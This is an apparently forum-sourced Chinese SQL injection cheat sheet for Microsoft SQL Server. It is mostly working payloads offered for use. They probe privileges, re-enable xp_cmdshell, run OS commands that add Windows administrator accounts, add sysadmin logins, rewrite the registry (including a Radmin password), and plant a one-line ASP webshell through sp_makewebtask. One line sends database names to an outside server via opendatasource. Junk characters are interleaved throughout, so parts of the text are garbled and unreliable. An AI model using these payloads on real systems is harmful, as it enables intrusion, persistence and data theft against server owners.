//看看是什么权限的# j4 [" V8 B- |
and 1=(Select IS_MEMBER('db_owner'))8 Y) m3 j6 | S5 u% H4 D
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--1 J1 u, R* ~* s# N% l% X
, p( m- I1 a# `7 ?& v' k" f2 Q
//检测是否有读取某数据库的权限
# C1 [" y8 B+ F, yand 1= (Select HAS_DBACCESS('master'))
9 R2 p; ~( m1 kAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
* R3 U$ Y* o+ B6 g' K8 g! d: H2 j$ d! _
) i' ^9 a% F- \4 ?1 Q' n/ J; J
数字类型! C/ T+ c; i% g. b
and char(124)%2Buser%2Bchar(124)=0
- D: R* l3 \$ N5 j1 U3 |0 c4 m0 g. ~1 K. C3 Y
字符类型
( J8 B7 d7 z2 ]4 B' and char(124)%2Buser%2Bchar(124)=0 and ''=', {0 D# M1 M) e4 K* G, N& R
+ k, v6 c+ ]# v) h& o9 [
搜索类型. ]4 [7 h; J' e; X7 O" j: @
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
2 U& O) L0 J1 ~7 F* C5 t2 D O6 f: E; ^5 k, O2 t* A/ I
爆用户名' t/ I/ M- V7 q3 m
and user>0' I1 P# l9 j# j
' and user>0 and ''='& I) `: A+ W# T/ F4 a5 {
, E8 l5 j4 T0 r' |1 ~8 Q( e& M检测是否为SA权限
7 n* o% K7 n. N& }+ X M0 |and 1=(select IS_SRVROLEMEMBER('sysadmin'));--/ e. S0 Z H# C8 P" ?9 M1 o1 x
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
6 f; I# G; K- [% ?7 ^
) J, A5 d' w* m9 A$ s' H- N: G, w5 e6 @- {检测是不是MSSQL数据库
' v: A/ a4 S6 ~ aand exists (select * from sysobjects);--
& o. H9 H8 t+ q2 {) {+ Y% j2 R" A: I# u# v9 E
检测是否支持多行
# I4 M: `; g3 Y7 @( h p- \;declare @d int;--
% j3 R0 P; z0 i/ o3 E, ]
K: W( _, d6 e& Y/ \恢复 xp_cmdshell
$ }8 S3 p( n6 @. D;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
3 O9 D& m( w4 ?
" ~' X( h; t- G
& g+ S* m7 O# A5 xselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')* B6 D: s, a& s7 c; w2 X. X
3 y: b8 G5 Z; N( v' e) s//-----------------------
% u4 e, l; K% @2 O9 h; l// 执行命令
, h$ Y- d4 }% D( z' [+ N$ ^! i//-----------------------/ [. _' ?: e; L# l
首先开启沙盘模式:2 a* h9 [2 U; K g. O
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',14 A8 c/ U, E/ g! X! D$ _
& j$ i2 R8 U: P$ z6 D
然后利用jet.oledb执行系统命令
0 d- ], r4 D4 u/ b, d% oselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')/ A) b$ z0 I( @0 T. n2 Y& {
& R) o0 a7 ^) n0 N6 x. B执行命令7 V1 Y* A! k, [6 j4 y& o: @1 {4 s0 V
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--8 E2 `5 |) O6 C' o) L5 ^, [$ U
" M$ b' j$ Y% c. x& f; d' f, T
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'/ y$ Y, Q0 w2 G( c' H' X8 {
/ Z0 K' t( _' A8 y1 j
判断xp_cmdshell扩展存储过程是否存在:0 Y* I$ W1 ^/ _/ `$ Q1 b
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')8 w/ Q3 D! [7 D( b$ J1 ?
0 j, M) |, a. w7 L, c7 ]写注册表2 Z2 k4 j+ i# W; P( s- z6 V3 ^* G
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',18 h9 Z" l4 G. l( A1 O
& ]. r4 a& ], m. E3 Z4 Q2 ]% }4 W
REG_SZ/ k5 }0 n( p) u# d
, c4 I% s1 _+ s读注册表* \2 r. z: C: W+ e8 m/ v
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
( ^) h5 R7 S8 J4 `* k0 U2 ^/ }' E7 W$ q4 J5 i
读取目录内容
. B. O% F$ Z3 e4 Z' a0 Hexec master..xp_dirtree 'c:\winnt\system32\',1,1
' }# |1 L: [; L! n; E! _/ A
@& Q3 r; e3 x; h, y8 G
" X) B% D O3 N0 x3 J数据库备份
6 ?0 h" @2 ~4 R; ]4 F% ibackup database pubs to disk = 'c:\123.bak'
# E# f3 v. ~ c% V: K( z* c
- B" c9 ?; e: ~2 {/ v//爆出长度
2 ]9 P/ z2 ~6 `6 HAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
, ~9 ^& J; G; t4 a1 O' Q) S7 |( x5 _" u+ n' G8 v+ Q9 O, J4 H" ^
& C. b/ }9 X$ |9 J0 w ^4 U! P! V1 o4 j% k4 b# C' P3 R
更改sa口令方法:用sql综合利用工具连接后,执行命令:
/ t7 I' | Z( }, Q! X+ Qexec sp_password NULL,'新密码','sa', J9 K: w9 @6 l- x* Z. D8 {
9 t4 w4 C- ]) t, V) ~ G" t0 d添加和删除一个SA权限的用户test:
6 L' v: ^, w( K l: Qexec master.dbo.sp_addlogin test,9530772$ _% c/ n0 @- Y* q5 \
exec master.dbo.sp_addsrvrolemember test,sysadmin
! c {/ m, p0 z2 |) [7 f
$ ^' g. r4 h% z& b- k删除扩展存储过过程xp_cmdshell的语句:
9 b8 C: O, `# C# }exec sp_dropextendedproc 'xp_cmdshell'* A9 O( E4 `: u' g1 @+ A6 d
9 ?) f0 s! u+ q3 t
添加扩展存储过过程( d- w" J6 S* G
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'5 z* G- ^" [1 t' o+ m+ q- m9 T
GRANT exec On xp_proxiedadata TO public
: f) m0 U- ^; b: }# H6 s
3 l( F4 x+ L4 c, y& ]9 }+ g, U, _2 v8 b5 b7 R+ u
停掉或激活某个服务。; U2 Q' E9 Y4 D' I2 U: c
- m7 f, J" L& C/ Rexec master..xp_servicecontrol 'stop','schedule'
6 V ]) e r3 _9 Eexec master..xp_servicecontrol 'start','schedule' i3 U3 b0 n6 U6 ?
) M9 [* H0 l0 M# G' l9 S$ {
dbo.xp_subdirs3 m) o( J6 f0 d+ x$ s. Q/ b
+ L7 A8 j! G% |: Q" W1 P7 F只列某个目录下的子目录。3 w: o4 x" {4 u/ b8 T2 ]
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'/ ~# d9 m9 _1 t: L% X
; ~" y* l" O2 {6 x9 z; [. w* |. I1 N; sdbo.xp_makecab
7 [1 R& q0 |9 L- Q
' R2 u6 @% \6 X4 u将目标多个档案压缩到某个目标档案之内。
6 H- F, Y- a1 d% U所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
# G1 [& v5 \3 l, _( S2 }3 c0 k
& x! P8 i6 g$ y4 g8 J; \dbo.xp_makecab, n5 @8 r0 E% g% P5 u
'c:\test.cab','mszip',1,
' E# K7 i$ j t# ~ O& f, K'C:\Inetpub\wwwroot\SQLInject\login.asp',
/ N, b2 w: h7 K'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'. u: G/ r) x4 g- q. o2 K' @
6 B' y) H u2 O* i" }xp_terminate_process1 C, e4 a: W. i$ l) L( N" F
$ M& o- M3 ]9 r) k# b6 k7 ]
停掉某个执行中的程序,但赋予的参数是 Process ID。% S5 d+ S$ t5 ^: o' S$ k2 g
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID; w5 e! c* k5 f* V5 {, ?+ V
- D7 J" h7 m4 }9 vxp_terminate_process 2484+ M# g: L D9 F0 J( E- X$ j% z) L' U/ U
9 w2 g# g: i- yxp_unpackcab/ m/ j9 C: k2 i1 g8 V$ L
2 | I. a: H, V4 e! ]
解开压缩档。8 P( U) z; |7 o
4 `$ u7 U8 Y9 I& i$ O! T* }
xp_unpackcab 'c:\test.cab','c:\temp',13 C/ x( J4 E* G7 F) ^9 d
0 P8 o, j9 R _# z, @) J1 c
: s% x- q/ q$ D( M1 j. U' ^某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234% y; W) L! x3 f% ^" E! T+ h" A: z
* w7 D* C0 z& o) }
create database lcx; @& Q4 i X9 H) V# {5 N
Create TABLE ku(name nvarchar(256) null);
: U& I2 R( A5 w' T$ ~( D3 N! N* \# LCreate TABLE biao(id int NULL,name nvarchar(256) null);
' N) O9 j# R9 G3 s
$ }$ k/ f7 V* g, g2 Q//得到数据库名
- y# ], |3 q( S& R* hinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
) O. y" H( @/ O* O: u$ m
c. q' h' h# `0 B0 L3 D% U& r7 s) H, j6 E
//在Master中创建表,看看权限怎样, @* g( R' F) E8 U& G& B
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
3 F. o" \# s# {) v0 N5 D+ H! Z7 h) s) [& A$ n( R
用 sp_makewebtask直接在web目录里写入一句话马:! J3 \7 d/ v6 b4 }% T
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
5 _' ~, e: U6 [$ z" h" a/ \ ^2 H' ^8 j
//更新表内容
- y L% z- ~2 e+ e# J; J; o1 `$ u+ OUpdate films SET kind = 'Dramatic' Where id = 123
- w* i1 c/ Z, c
* b- O0 D3 Z* G h! T( X% ^& `//删除内容
: [. u. O# c3 tdelete from table_name where Stockid = 3 |